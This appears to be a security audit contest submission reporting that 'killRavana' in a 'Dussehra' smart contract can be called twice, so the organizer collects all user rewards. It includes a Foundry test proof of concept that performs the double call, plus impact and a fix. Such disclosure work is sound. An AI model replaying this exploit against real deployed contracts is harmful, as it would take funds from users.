Submission Details
Severity:
Organizer has the possibility to have all the rewards himself.
Summary
The organizer of the event can obtain all the rewards himself directly.
Vulnerability Details
Organizer can redeem himself all the rewards generated by killing ravana, this is possible because the function 'killRavana' in the 'Dussehra' contract is still callable also if the ram has already been killed.
##PoC
function test_killRavana_organizerReceives100PercentOfRewards() public {
deal(address(this), 0);
assertEq(address(this).balance, 0);
address user1 = address(123);
deal(user1, 10 ether);
uint256 user1Balance = user1.balance;
assertEq(user1Balance, 10 ether);
vm.startPrank(user1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
address user2 = address(124);
deal(user2, 10 ether);
uint256 user2Balance = user2.balance;
assertEq(user2Balance, 10 ether);
vm.startPrank(user2);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
address user3 = address(125);
deal(user3, 10 ether);
uint256 user3Balance = user3.balance;
assertEq(user3Balance, 10 ether);
vm.startPrank(user3);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.warp(1728691200);
choosingRam.selectRamIfNotSelected();
address selectedRam = choosingRam.selectedRam();
assertNotEq(selectedRam, 0x0000000000000000000000000000000000000000);
assertEq(address(dussehra).balance, 3 ether);
dussehra.killRavana();
assertEq(dussehra.IsRavanKilled(), true);
assertEq(address(dussehra).balance, 3 ether / 2);
assertEq(address(this).balance, 3 ether / 2);
dussehra.killRavana();
assertEq(dussehra.IsRavanKilled(), true);
assertEq(address(dussehra).balance, 0);
assertEq(address(this).balance, 3 ether);
}
Impact
The organizer can receive 100 % of the rewards, and so users will get no rewards.
Tools Used
Manual Review
Recommendations
The function 'killRavana' must be callable only if the ravana has not been killed yet.
Rewards breakdown
nSLOC
218This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.